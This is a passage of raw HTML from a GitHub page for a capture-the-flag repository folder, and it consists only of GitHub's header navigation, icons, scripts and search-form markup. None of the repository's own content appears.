href="https://github.com/vakzz/ctfs/tree/master/Blaze2018/shellcodeme_hard" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="121378338" data-scoped-search-url="/vakzz/ctfs/search" data-owner-scoped-search-url="/orgs/vakzz/search" data-unscoped-search-url="/search" data-turbo="false" action="/vakzz/ctfs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="f1QME7J+wJeAOFnMfXOZkMH/djT3wBvDpx5e9jfdL7LheHK0LgAJ4bjoOd1sG3JYBENnbPAISla0AqLO2xWOhQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" 